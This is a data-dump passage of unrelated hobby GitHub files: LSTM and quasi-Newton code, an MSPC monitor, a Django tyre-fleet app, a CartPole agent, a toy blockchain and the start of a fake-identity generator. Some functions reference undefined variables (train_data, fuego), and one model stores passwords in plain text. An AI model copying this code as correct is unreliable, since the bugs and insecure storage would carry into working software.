normalization\n outlier_threshold = np.percentile(training_set, 90)\n training_set[training_set < outlier_threshold] = 0\n test_set[test_set < outlier_threshold] = 0\n\n training_set_scaled = training_set\n test_set_scaled = test_set\n training_set_scaled[training_set > 0] = 1\n test_set_scaled[test_set_scaled > 0] = 1\n\n print(np.sum(test_set_scaled) / np.multiply(*test_set_scaled.shape))\n\n # training_set_trimmed = training_set[training_set > 0]\n # mean = np.mean(training_set_trimmed)\n # std = np.std(training_set_trimmed)\n # training_set_scaled = (training_set - mean) / std\n # test_set_scaled = (test_set - mean) / std\n\n # training_set_scaled[np.isnan(training_set_scaled)] = 0\n # test_set_scaled[np.isnan(test_set_scaled)] = 0\n\n # array_scaled = np.log(array)\n\n X_train = []\n y_train = []\n for i in trange(60, len(training_set_scaled)):\n X_train.append(training_set_scaled[i - 60 : i, :].tolist())\n y_train.append(training_set_scaled[i, :].tolist())\n X_train, y_train = np.array(X_train), np.array(y_train)\n\n X_test = []\n y_test = []\n for i in trange(60, len(test_set_scaled)):\n X_test.append(test_set_scaled[i - 60 : i, :].tolist())\n y_test.append(test_set_scaled[i, :].tolist())\n X_test, y_test = np.array(X_test), np.array(y_test)\n\n X_test[np.isnan(X_test)] = 0\n # test_nan = np.isnan(test_set_scaled)\n # test_set_scaled[np.isnan(test_set_scaled)] = 0\n\n model = LSTMModel(144, 128, 2, 144)\n model = model.to(\"cuda:0\")\n criterion = nn.L1Loss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.002, weight_decay=1e-5)\n\n for epoch in trange(100, position=0, leave=True):\n for train_index, test_index in kf.split(X_train):\n X_train_fold = X_train[train_index]\n y_train_fold = y_train[train_index]\n X_test_fold = X_train[test_index]\n y_test_fold = y_train[test_index]\n \n # # add one dimension\n # y_train_fold = y_train_fold[:, :, np.newaxis]\n # y_test_fold = y_test_fold[:, :, np.newaxis]\n\n X_train_fold = torch.from_numpy(X_train_fold).float()\n y_train_fold = torch.from_numpy(y_train_fold).float()\n X_test_fold = torch.from_numpy(X_test_fold).float()\n y_test_fold = torch.from_numpy(y_test_fold).float()\n\n X_train_fold = X_train_fold.to(\"cuda:0\")\n y_train_fold = y_train_fold.to(\"cuda:0\")\n X_test_fold = X_test_fold.to(\"cuda:0\")\n y_test_fold = y_test_fold.to(\"cuda:0\")\n\n print(X_train_fold.shape, y_train_fold.shape, X_test_fold.shape, y_test_fold.shape)\n\n # create data loader batch size 1024\n train_dataset = torch.utils.data.TensorDataset(X_train_fold, y_train_fold)\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=1024, shuffle=True)\n\n model.train()\n\n \n for i, (X_train_fold, y_train_fold) in enumerate(train_loader):\n outputs = model(X_train_fold)\n loss = criterion(outputs, y_train_fold)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n print(\"Epoch: %d, loss: %1.5f\" % (epoch, loss.item()))\n\n model.eval()\n\n with torch.no_grad():\n test_predict = model(X_test_fold)\n\n test_predict = test_predict.data.cpu().numpy()\n test_y = y_test_fold.data.cpu().numpy()\n\n print(test_predict.shape, test_y.shape)\n \n # test_predict = sc.inverse_transform(test_predict)\n # test_y = sc.inverse_transform(test_y)\n\n # # inverse z-score normalization\n # test_predict = test_predict * std + mean\n # test_y = test_y * std + mean\n\n # print(test_predict.shape, test_y.shape)\n\n # # print(test_predict[0, :])\n # # print(test_y[0, :])\n\n # print(\"MAE: %.5f\" % np.mean(np.abs(test_predict - test_y)))\n\n model.eval()\n with torch.no_grad():\n test_predict = model(torch.from_numpy(X_test).float().to(\"cuda:0\"))\n\n test_predict = test_predict.data.cpu().numpy()\n test_y = y_test\n\n test_predict -= 0.5\n test_predict[test_predict < 0] = 0\n test_predict[test_predict > 0] = 1\n\n print(test_predict, test_y)\n\n # accuracy\n print(\"Accuracy: %.5f\" % np.mean((test_predict == test_y)[test_y > 0]))\n\n # test_predict = sc.inverse_transform(test_predict)\n # test_y = sc.inverse_transform(test_y)\n\n # # inverse z-score normalization\n # test_predict = test_predict * std + mean\n # test_y = test_y * std + mean\n\n # print(\"MAE: %.5f\" % np.nanmean(np.abs(test_predict - test_y)))\n ","repo_name":"drunkcoding/time-series-forecast","sub_path":"training/train_burst.py","file_name":"train_burst.py","file_ext":"py","file_size_in_byte":7434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3674242801","text":"# coding=UTF-8\nimport numpy as np\nfrom .criterion import criterion\n\n\ndef QuasiNewton(start_point,\n func,\n grad,\n hessian,\n x_star,\n f_minimun,\n max_iters=1e3,\n epsilon=1e-8,\n rho=1e-4,\n sigma=0.9,\n method=\"sr1 wolfe interpolate22\",\n logger=None):\n\n x_k, loss, H = start_point, [], np.eye(len(start_point))\n if x_star is not None:\n f_minimun = func(x_star)\n\n for cnt_iter in range(int(max_iters)):\n # logger.info(\"iter \" + str(cnt_iter))\n\n g_k = grad(x_k).reshape(-1, 1)\n # ||g|| < eps 终止判断\n if np.linalg.norm(g_k, ord=2) < epsilon:\n # logger.info(\"g_k L2 norm < eps, 终止迭代\")\n break\n d_k = -np.dot(H, g_k)\n alpha, x_k_1 = criterion(method=method,\n x_k=x_k,\n d_k=d_k,\n func=func,\n grad=grad,\n m_max=20,\n rho=rho,\n eps=epsilon,\n sigma=sigma,\n logger=logger)\n\n # |f(x_k_1) - f(x_k)| < eps 终止判断\n diff = np.fabs(func(x_k_1) - func(x_k))\n if diff < epsilon:\n logger.info(\"达到终止条件: func(x_k_1) - func(x_k) = \" +\n str(np.fabs(func(x_k_1) - func(x_k))))\n break\n\n s = x_k_1 - x_k\n y = grad(x_k_1) - g_k\n if \"sr1\" in method:\n tmp = s - np.dot(H, y)\n H = H + np.dot(tmp, tmp.T) / np.dot(tmp.T, y)\n elif \"dfp\" in method:\n H = H + np.dot(s, s.T) / np.dot(s.T, y) - np.dot(\n np.dot(np.dot(H, y), y.T), H) / np.dot(np.dot(y.T, H), y)\n elif \"bfgs\" in method:\n h1 = 1 + np.dot(np.dot(y.T, H), y) / np.dot(y.T, s)\n h2 = np.dot(s, s.T) / np.dot(y.T, s)\n h3 = np.dot(np.dot(s, y.T), H) + np.dot(np.dot(H, y), s.T)\n H = H + h1 * h2 - h3 / np.dot(y.T, s)\n else:\n raise NotImplementedError(\"未定义的 Quasi-Newton 方法\")\n\n x_k = x_k_1\n\n return cnt_iter, x_k","repo_name":"yifu-ding/Optimization-python","sub_path":"methods/quasi_newton.py","file_name":"quasi_newton.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"74648139681","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport mymusic.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('mymusic', '0002_auto_20151126_1242'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Admins',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('username', models.EmailField(unique=True, max_length=254)),\n ('password', models.CharField(max_length=20)),\n ],\n ),\n migrations.CreateModel(\n name='Songs',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('thumbnail', models.FileField(upload_to=mymusic.models.get_upload_file_name)),\n ('artist', models.CharField(max_length=100)),\n ('album', models.CharField(max_length=100)),\n ('language', models.CharField(unique=True, max_length=20)),\n ],\n ),\n ]\n","repo_name":"saikumar77/Mymusic_project","sub_path":"mymusic/migrations/0003_admins_songs.py","file_name":"0003_admins_songs.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12029953088","text":"import math\n\nimport numpy as np\nfrom scale import autoscale, scaling\n\ndef mspc_ref(X, numPC):\n \"\"\"\n SDV を用いてMSPC モデルを学習します\n\n パラメータ\n ----------\n X: 正常データ行列\n numPC: 採用する主成分数\n\n 戻り値\n -------\n meanX: 正常データの平均\n stdX: 正常データの標準偏差\n U: 左特異ベクトル\n S: 特異値\n V: 右特異ベクトル\n \"\"\"\n\n # 標準化\n X, meanX, stdX = autoscale(X)\n\n # PCA\n U, S, V = np.linalg.svd(X)\n U = U[:,: numPC]\n S = np.diag(S[: numPC])\n V = V[:,: numPC]\n\n return meanX, stdX, U, S, V\n\ndef mspc_T2Q(X, meanX, stdX, U, S, V):\n \"\"\"\n 学習させたMSPCモデルより, 監視対象サンプルの\n T2, Q 統計量を計算します.\n\n パラメータ\n ----------\n X: 監視対象データ\n meanX: 正常データの平均\n stdX: 正常データの標準偏差\n U: 左特異ベクトル\n S: 特異値\n V: 右特異ベクトル\n\n 戻り値\n -------\n T2: T2 統計量\n Q: Q 統計量\n \"\"\"\n\n # 学習データに合わせて標準化する\n X = scaling(X, meanX, stdX)\n \n I = np.eye(X.shape[1])\n\n # T2,Q の計算\n T2 = np.diag(X @(V @ np.linalg.inv(S @ S)@ V.T)@ X.T)\n Q = np.diag(X @(I - V @ V.T)@ X.T)\n return T2, Q\n\ndef cont_T2Q(X, meanX, stdX, U, S, V):\n \"\"\"\n パラメータ\n ----------\n X: 監視対象サンプル\n meanX: 正常データの平均\n stdX: 正常データの標準偏差\n U: 左特異ベクトル\n S: 特異値\n V: 右特異ベクトル\n\n 戻り値\n -------\n cont_T2: T2 統計量の寄与\n cont_Q: Q 統計量の寄与\n \"\"\"\n\n X = scaling(X, meanX, stdX)\n\n # 寄与の計算\n cont_T2 = np.multiply(X, X @ V @ np.linalg.inv(S @ S/X.shape [0])@ V.T)\n cont_Q = np.power(X @(np.eye(X.shape [1]) - V @ V.T), 2)\n\n return cont_T2, cont_Q\n\n\ndef mspc_CL(T2, Q, alpha=0.99):\n \"\"\"\n T2 統計量とQ 統計量の管理限界を計算します\n\n パラメータ\n ----------\n T2: 管理限界決定用T2 統計量\n Q: 管理限界決定用Q 統計量\n alpha: 信頼区間(デフォルト99 %)\n\n 戻り値\n -------\n meanX: 正常データの平均\n stdX: 正常データの標準偏差\n U: 左特異ベクトル\n S: 特異値\n V: 右特異ベクトル\n \"\"\"\n\n sort_T2 = sorted(T2)\n CL_T2 = T2[math.floor(alpha * len(train_data))]\n\n sort_Q = sorted(Q)\n CL_Q = Q[math.floor(alpha * len(train_data))]","repo_name":"osawat/data_analysis_for_small_data","sub_path":"src/mspc.py","file_name":"mspc.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35417369910","text":"def check(arr):\r\n a = int(arr[0])\r\n b = int(arr[1])\r\n c = int(arr[2])\r\n if a+b > c and a+c > b and b+c > a:\r\n return \"1\"\r\n return \"0\"\r\n\r\ntotal = 0\r\npossible_triangle1 = []\r\npossible_triangle2 = []\r\npossible_triangle3 = []\r\nfor line in open(\"Day3Problem1Text\", \"r\"):\r\n triangles = line.split()\r\n possible_triangle1.append(triangles[0])\r\n possible_triangle2.append(triangles[1])\r\n possible_triangle3.append(triangles[2])\r\n if len(possible_triangle1) == 3:\r\n three_values = []\r\n three_values += check(possible_triangle1)\r\n three_values += check(possible_triangle2)\r\n three_values += check(possible_triangle3)\r\n total += three_values.count(\"1\")\r\n possible_triangle3 = []\r\n possible_triangle2 = []\r\n possible_triangle1 = []\r\nprint(total)\r\n#1577\r\n","repo_name":"amanjaiman/Advent-Of-Code-2016","sub_path":"Day-3/D3P2.py","file_name":"D3P2.py","file_ext":"py","file_size_in_byte":834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21955092690","text":"from django.urls import reverse, NoReverseMatch\nfrom django_menus.menu import MenuItem, DividerItem\n\n\ndef user_display(user):\n result = ' '.join([n for n in [user.first_name, user.last_name] if n])\n return result if result else user.username\n\n\ndef add_auth_menu(view):\n\n if view.request.user.is_authenticated:\n dropdown = [\n MenuItem('', menu_display=f'{user_display(view.request.user)}', disabled=True),\n DividerItem()\n ]\n if view.request.session.get('authentication_method') in ['2fa', 'cookie']:\n dropdown += [('auth:remove_2fa', 'Remove 2FA'), ('auth:change_2fa', 'Change 2FA'),\n ('auth:user_devices', 'Authorised devices')]\n else:\n dropdown += [('auth:auth_2fa', 'Add 2FA')]\n\n dropdown += [\n ('auth:change_password', 'Change password'),\n DividerItem()\n ]\n\n if view.request.user.has_perm('auth.change_user'):\n try:\n user_admin = reverse('auth:user_admin_modal')\n dropdown += [\n MenuItem(user_admin, link_type=MenuItem.HREF, menu_display='User Admin',\n font_awesome='fas fa-users-cog'),\n DividerItem()\n ]\n except NoReverseMatch:\n pass\n\n dropdown += [\n MenuItem('auth:logout', font_awesome='fas fa-sign-out-alt'),\n ]\n view.add_menu('user_menu', alignment='right').add_items(\n MenuItem(font_awesome='fas fa-user', menu_display='', dropdown=dropdown, placement='bottom-end'),\n )\n else:\n view.add_menu('user_menu', 'button_group', alignment='right').add_items(\n MenuItem('auth:login', menu_display='Sign In', css_classes='btn-primary'),\n )\n","repo_name":"jonesim/django-2fa","sub_path":"modal_2fa/menus.py","file_name":"menus.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12745234848","text":"from datetime import datetime\nfrom django.utils import timezone\nfrom django.shortcuts import get_object_or_404, render, redirect\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom .models import Vehiculo,Empresa, Neumatico\nfrom django.contrib.auth.models import User\nfrom django.http import Http404\nfrom django.urls import reverse\nfrom django.contrib.auth import authenticate,login,logout\nfrom django.core.mail import send_mail\nfrom django.core import serializers\nimport json\n\n# -------------------------- Formulario de LOGIN DE USUARIO --------------------------------------------------\ndef inicio(request):\n\t# if request.user :\n\t# \treturn redirect('despliegue')\n\treturn render(request, 'neumaticos/login.html')\n\n\n# -------------------------- LOGIN DE USUARIO --------------------------------------------------\n\ndef validacion(request):\n\tnombre = request.POST['nombre']\n\tpassw = request.POST['password']\n\tuser = authenticate(request, username=nombre, password=passw)\n\tif user is not None:\n\t\tlogin(request, user)\n\t\treturn HttpResponseRedirect(reverse('despliegue'))\n\n\treturn render(request, 'neumaticos/login.html', {'error_message': \"Usuario y/o contraseña incorrecta.\" })\n\n# -------------------------- Cerrar sesion --------------------------------------------------\ndef cerrarsesion(request):\n # logout(request)\n\treturn redirect('inicio')\n\n\n# ----------------------------- PAGINA INICIAL CON ACCIONES GENERALES ----------------------------------------------------------------------------------------------\n\ndef despliegue(request):\n\tempresas = Empresa.objects.all();\n\tneumaticos = Neumatico.objects.all();\n\tif request.method == 'GET' and 'e' in request.GET:\n\t\te = int(request.GET['e'])\n\t\tvehiculos = Vehiculo.objects.filter(empresa=e);\n\telse:\n\t\te = ''\n\t\tvehiculos = Vehiculo.objects.all();\n\n\t# -------------------- AGREGANDO MAILEABILIDAD QUEDA V5.5 el 13 Abril -------------------------------\n\t# Ponemos la accion de mail como parte dela view despliegue, cosa que se envie cada que ingresan\n\t# Se mailea el warning en vez de mostrarlo en de la app para ahorrar espacio visual en esta.\n\t# Ademas, tal warning puede recibirla alguien en el cel (aun no hay version web de la app)\n\n\ta_notificar = {} # armamos un diccio vacio que contendrá nroFuego y Profundidad de la goma a cambiar\n\n\tfor i in Neumatico.objects.all(): # para cada registro en Neumatico...\n\t\tif i.Profundidad <= 5:\t\t\t# si tiene 5cm o menos de Prof...\n\t\t\t\ta_notificar [i.Fuego] = str(i.Profundidad) + \"CM\" # pasar el NroFuego y su profundidad como key/value al dicc.\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Profundidad va a texto asi le apendamo \"CM\"\n\tmensaje = \"Neumaticos a cambiar:\" + str(a_notificar) # luego ese dix se pasa a texto...\n\n\tsend_mail(\n\t\t'Notificacion neumatico2', # tema\n\t\tmensaje, # ... pues esta parte de send_mail, el mensaje ensi, debe ser una string.\n\t\t'Michelini Alerts', # remitente\n\t\t['dotaci8981@2go-mail.com'], # Recipientes. Must be a list, asi sea uno.\n\t\tfail_silently=True # TRUE: No sale error si el envio falla.\n\t\t)\n\n\n\treturn render(request, 'neumaticos/despliegue.html',{'vehiculos': vehiculos, 'empresas':empresas, 'current_e':e, 'neumaticos':neumaticos })\n\n\n\n\n\n#-------------------------------------- INGRESO Y/O MODIFICACION DE VEHICULOS ----------------------------------\n\ndef agregarVehiculo(request):\n\tempresas = Empresa.objects.all();\n\treturn render(request, 'neumaticos/agregarVehiculo.html',{'empresas':empresas })\n\ndef modificarVehiculo(request,matricula):\n\tvehiculo = Vehiculo.objects.get(matricula=matricula)\n\tempresas = Empresa.objects.all();\n\treturn render(request, 'neumaticos/agregarVehiculo.html',{'vehiculo':vehiculo,'empresas':empresas})\n\ndef detallesVehiculo(request,matricula):\n\tvehiculo = Vehiculo.objects.get(matricula=matricula)\n\tempresa = Empresa.objects.get(RUT=vehiculo.empresa)\n\tneumaticos = [\n\tNeumatico.objects.get(Fuego=vehiculo.posicion1),\n\tNeumatico.objects.get(Fuego=vehiculo.posicion2),\n\tNeumatico.objects.get(Fuego=vehiculo.posicion3),\n\tNeumatico.objects.get(Fuego=vehiculo.posicion4),\n\tNeumatico.objects.get(Fuego=vehiculo.posicion5),\n\tNeumatico.objects.get(Fuego=vehiculo.posicion6)\n\t]\n\n\treturn render(request, 'neumaticos/detallesVehiculo.html',{'vehiculo':vehiculo,'empresa':empresa,'neumaticos':neumaticos})\n\n\n\n#--------------# ESTA es la que realmente agrega o modifica items. Tambien es usada por la accion MODIFICABLE, abajo del todo.\n\ndef guardarVehiculo(request):\n\tmatricula = request.POST['matricula']\n\tcantidad_ingresada = request.POST['cantidad']\n\tmarca_ingresada = request.POST['marca']\n\tmodelo_ingresado = request.POST['modelo']\n\ttipo_ingresado = request.POST['tipo']\n\tempresa_ingresada = request.POST['empresa']\n\tposicion1_ingresada = request.POST['posicion1']\n\tposicion2_ingresada = request.POST['posicion2']\n\tposicion3_ingresada = request.POST['posicion3']\n\tposicion4_ingresada = request.POST['posicion4']\n\tposicion5_ingresada = request.POST['posicion5']\n\tposicion6_ingresada = request.POST['posicion6']\n\n\tvehiculo = Vehiculo.objects.filter(matricula=matricula)\n\tif not vehiculo:\n\t\tvehiculo = Vehiculo(matricula=matricula)\n\telse:\n\t\tvehiculo = Vehiculo.objects.get(matricula=matricula)\n\n\tvehiculo.Cantidad_neumaticos = cantidad_ingresada\n\tvehiculo.marca = marca_ingresada\n\tvehiculo.modelo = modelo_ingresado\n\tvehiculo.Tipo_vehiculo = tipo_ingresado\n\tvehiculo.empresa = int(empresa_ingresada)\n\tvehiculo.posicion1 = posicion1_ingresada\n\tvehiculo.posicion2 = posicion2_ingresada\n\tvehiculo.posicion3 = posicion3_ingresada\n\tvehiculo.posicion4 = posicion4_ingresada\n\tvehiculo.posicion5 = posicion5_ingresada\n\tvehiculo.posicion6 = posicion6_ingresada\n\tvehiculo.save()\n\n\treturn HttpResponseRedirect(reverse('despliegue'),{'message':'Vehiculo guardado con éxito'})\n\ndef eliminarVehiculo(request,matricula):\n\tvehiculo = Vehiculo.objects.get(matricula=matricula)\n\tvehiculo.delete()\n\treturn HttpResponseRedirect(reverse('despliegue'),{'message':'Vehiculo eliminado con éxito'})\n\n#-------------------------------------- INGRESO Y/O MODIFICACION DE Empresas ----------------------------------\n\ndef agregarEmpresa(request):\n\treturn render(request, 'neumaticos/agregarEmpresa.html')\n\ndef modificarEmpresa(request,rut):\n\tempresa = Empresa.objects.get(RUT=int(rut))\n\treturn render(request, 'neumaticos/agregarEmpresa.html',{'empresa':empresa})\n\n\n\ndef guardarEmpresa(request):\n\trut = request.POST['RUT']\n\tnombre = request.POST['nombre']\n\trazon = request.POST['razon_social']\n\ttelefono = request.POST['telefono']\n\tdireccion = request.POST['direccion']\n\n\tempresa = Empresa.objects.filter(RUT=rut)\n\tif not empresa:\n\t\tempresa = Empresa(RUT=rut)\n\telse:\n\t\tempresa = Empresa.objects.get(RUT=rut)\n\n\tempresa.Nombre = nombre\n\tempresa.Razon_social = razon\n\tempresa.Telefono = telefono\n\tempresa.Direccion = direccion\n\n\tempresa.save()\n\n\treturn HttpResponseRedirect(reverse('despliegue'),{'message':'Vehiculo guardado con éxito'})\n\n\ndef eliminarEmpresa(request,rut):\n\tempresa = Empresa.objects.get(RUT=rut)\n\tempresa.delete()\n\treturn HttpResponseRedirect(reverse('despliegue'),{'message':'Empresa eliminada con éxito'})\n\n\n#-----------------------------------------------------------------------------------------------------------\n#----------------------------------INPUT DELETE MODIFY NEUMATICOS-------------------------------------------\n#-----------------------------------------------------------------------------------------------------------\n\ndef agregarNeumatico(request):\n\treturn render(request, 'neumaticos/agregarNeumatico.html')\n\n\ndef modificarNeumatico(request,Fuego):\n\tneumatico = Neumatico.objects.get(Fuego=int(Fuego))\n\treturn render(request, 'neumaticos/modificarNeumatico.html',{'neumatico':neumatico})\n\ndef detallesNeumatico(request):\n\tneumatico = Neumatico.objects.get(Fuego=fuego)\n\tprofundidad = neumatico.Profundidad\n\tmarca = neumatico.Marca\n\tradio = neumatico.Radio\n\ttalle = neumatico.Talle\n\tbanda = neumatico.Banda\n\tempresa = neumatico.Empresa\n\tKM_Recientes = neumatico.KM_Recientes\n\tCambiar_En = neumatico.Cambiar_En\n\talta = neumatico.Alta\n\thistorial = neumatico.Historial\n\treturn render(request, 'neumaticos/detallesNeumatico.html',{'neumatico':neumatico,'profundidad':profundidad,'marca':marca, 'radio':radio, talle:'talle', 'banda':banda, 'empresa':empresa,\n\t\t'KM_Recientes': KM_Recientes, 'Cambiar_En': Cambiar_En, 'alta': alta, 'historial': historial})\n\n\n\n\ndef guardarNeumatico(request):\n\tfuego = request.POST['fuego']\n\tprofundidad = request.POST['profundidad']\n\tmarca = request.POST['marca']\n\tradio = request.POST['radio']\n\ttalle = request.POST['talle']\n\tbanda = request.POST['banda']\n\tempresa = request.POST['empresa']\n\tKM_Recientes = request.POST['KM_Recientes']\n\tAlta = request.POST['alta']\n\n\tneumatico = Neumatico.objects.filter(Fuego=fuego)\n\tif not neumatico:\n\t\tneumatico = Neumatico(Fuego=fuego)\n\telse:\n\t\tneumatico = Neumatico.objects.get(Fuego=fuego)\n\t\tmas_ahora = \" \\n -\" + str(timezone.now().strftime('%d %m %Y')) + \": \" + str(KM_Recientes) + \"KMs.\" # y agregar usuario. Se debe mejorar con algun tipo de lista.\n\t\tneumatico.Historial = str(neumatico.Historial) + str(mas_ahora)\n\t\tneumatico.Profundidad = int(profundidad)\n\t\tneumatico.Marca = marca\n\t\tneumatico.Radio = radio\n\t\tneumatico.Talle = talle\n\t\tneumatico.Banda = banda\n\t\tneumatico.Empresa = empresa\n\t\tneumatico.KM_Recientes = int(KM_Recientes)\n\t\tneumatico.Alta = Alta\n\t\tif KM_Recientes == '0': # si ingresan 0KMs, que setée el cambiar en a CERO.\n\t\t\tneumatico.Cambiar_En = None\n\t\telse:\n\t\t\tneumatico.Cambiar_En = (int(KM_Recientes)/(15-int(profundidad)))*(int(profundidad)-3)\n\t\t\t\t\t\t\t\t\t\t#\t\t\t#\t\t\t#\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t#\t\t\t#\t\t\t#\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t#\t\t\t#\t\t\t#\t\t\t\t\t#\n\t\t\t#KM_Recientes del ultimo control,\t\t#\t\t\t#\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\t#\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t\t#...dividido....\t#\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\t\t\t\t\t#\n\t\t\t\t\t\t\t#\t#prof. usada hasta esta medicion...\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#\n\t\t\t\t\t\t\t\t\t\t\t#...dando cuantos KMs rindio por KM usado\n\t\t\t\t\t\t\t\t#Y eso, mult por Prof. restante (osea, Profu medida menos 3)\n\t\tneumatico.save()\n\treturn HttpResponseRedirect('modificarNeumatico/'+fuego,{'message':'Neumatico guardado con éxito'})\n\n\n\ndef eliminarNeumatico(request):\n\tneumatico = Neumatico.objects.get(Fuego=fuego)\n\tNeumatico.delete()\n\treturn HttpResponseRedirect(reverse('despliegue'),{'message':'Neumatico eliminado con éxito'})\n\ndef filtrarNeumaticos(request,Matricula):\n\tvehiculo = Vehiculo.objects.get(matricula=Matricula)\n\tresult = json.dumps({\"1\":vehiculo.posicion1,\"2\":vehiculo.posicion2,\"3\":vehiculo.posicion3,\"4\":vehiculo.posicion4,\"5\":vehiculo.posicion5,\"6\":vehiculo.posicion6})\n\treturn HttpResponse(result)\n","repo_name":"MDebera/michel","sub_path":"neumaticos/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10509,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11822042986","text":"import gym\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom gym import wrappers\n\nn_epochs = 100\nn_episodes = 100\n\n\n\t# state = env.reset() # starting state -> array\n\n\t# box = env.observation_space\n\n\t# ActionSpace = env.action_space\n\n\t# env.step() returns:\n\t# \"info\" is for debugging\t\n\t# obs -> observation (I guess it is the state)\n# done -> flag\ndef TakeAction(s,w):\n\treturn 1 if s.dot(w) > 0.01 else 0\ndef Play(env, params):\n\tcounter = 0\n\tstate = env.reset()\n\tdone = False\n\twhile not done and counter <10000:\n\t\t# env.render() # to see the play\n\t\taction = TakeAction(state, params)\n\t\tcounter+=1\n\t\tstate, reward, done, info = env.step(action) # params can be only 0 or 1\n\treturn counter\n\ndef MultiplePlays(env, weights, returnList=False):\n\tepisodesPlayed = []\n\tfor i in range(n_episodes):\n\t\tepisodesPlayed.append(Play(env, weights))\n\tif returnList == True:\n\t\treturn episodesPlayed\n\telse:\n\t\treturn np.mean(episodesPlayed)\ndef AdjustWeights(env):\n\tweights = []\n\tbest_so_far = 0\n\teLHist = []\n\tfor i in range(n_epochs):\n\t\t\n\t\tnew_weights = np.random.random(4,)*2 - 1\n\t\teL = MultiplePlays(env, new_weights)\n\t\teLHist.append(eL)\n\t\tprint(\"Epoch #\",i,\" out of \",n_epochs, \" Avg len of game: \",eL)\n\t\tif(eL > best_so_far):\n\t\t\tweights = new_weights\n\t\t\tbest_so_far = eL#np.max(eLHist)\n\treturn weights, eLHist\n\t\n\nif __name__ == '__main__':\n\tenv = gym.make(\"CartPole-v0\")\n\tenv.reset()\n\tweights,eLHist = AdjustWeights(env)\n\t# play last time\n\tprint(weights)\n\tenv = wrappers.Monitor(env, \"c:/Users/ANTARTIDA/Desktop/Deep_reinforcement_learning/video/game\")\n\tl = MultiplePlays(env, weights,True)\n\tplt.figure(str(np.mean(l)))\n\tplt.plot(l)\n\tplt.figure()\n\tplt.plot(eLHist)\n\tplt.show()","repo_name":"SimplyRocketMan/Deep_reinforcement_learning","sub_path":"gym_tut.py","file_name":"gym_tut.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"27699757223","text":"import hashlib\r\nimport json\r\nfrom random import randint\r\n\r\nclass Blockchain:\r\n def __init__(self):\r\n self.chain = ()\r\n self.nodes = []\r\n self.stake = []\r\n self.power = []\r\n self.vote_strength = []\r\n self.votes = []\r\n \r\n def create_block(self, previous_hash, proof_of_delegated_stake, tr_list, hash):\r\n block = {'Index': len(self.chain) + 1,\r\n 'Previous Hash': previous_hash,\r\n 'Maxiumum Votes': proof_of_delegated_stake,\r\n 'Merkle Root Hash': hash,\r\n 'Transactions': tr_list\r\n }\r\n #print(block)\r\n temp_list = list(self.chain)\r\n temp_list.append( block )\r\n self.chain = tuple(temp_list)\r\n\r\n return block\r\n \r\n def latest_block(self):\r\n return self.chain[-1]\r\n\r\n def hash(self, block):\r\n encoded_block = json.dumps(block).encode()\r\n return hashlib.sha256(encoded_block).hexdigest()\r\n '''\r\n def proof_of_delegated_stake(self):\r\n file = open(\"user_stats.json\", \"r\")\r\n data = json.loads(file.read())\r\n for i in data[\"user_stats\"]:\r\n self.nodes.append(i[\"username\"])\r\n propstr = i[\"properties_owned\"]\r\n #stakes = (1+propstr.size())/2\r\n stakes = len(propstr)\r\n self.stake.append(stakes)\r\n\r\n for i in range(len(self.nodes)):\r\n self.power.append(int(self.stake[i]) * randint(1,100))\r\n self.power = list(zip(self.power,self.nodes))\r\n self.power.sort(reverse=True)\r\n return self.power[0][0]'''\r\n\r\n def valid_chain(self, chain):\r\n last_block = chain[0]\r\n current_index = 1\r\n while(current_index dict:\n __user_info = self.__DatabaseQuery.query_random_name(gender=gender)\n __first_name = __user_info['first_name']\n __last_name = __user_info['last_name']\n complete_random_user_response = {\n 'user_info': __user_info,\n 'date_of_birth': self.__RandomUser.RandomDOB(),\n 'email_address': self.__RandomUser.RandomEmail(__first_name, __last_name),\n 'address': self.__DatabaseQuery.query_random_address(),\n 'phone_number': self.__RandomUser.RandomPhoneNumber(),\n 'identification': {\n 'social_security_number': self.__RandomUser.RandomSSN(),\n 'national_id': self.__RandomUser.RandomNationalID(),\n 'license': self.__RandomUser.RandomLicense()\n },\n 'bank_details': self.__RandomUser.RandomBankCC()\n\n }\n\n return complete_random_user_response\n \n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'size',\n type = int,\n help = \"Invalid Parameter\",\n required = False,\n location = 'args'\n )\n parser.add_argument(\n 'gender',\n type = str,\n help = \"Invalide Parameter\",\n required = False,\n location = 'args'\n 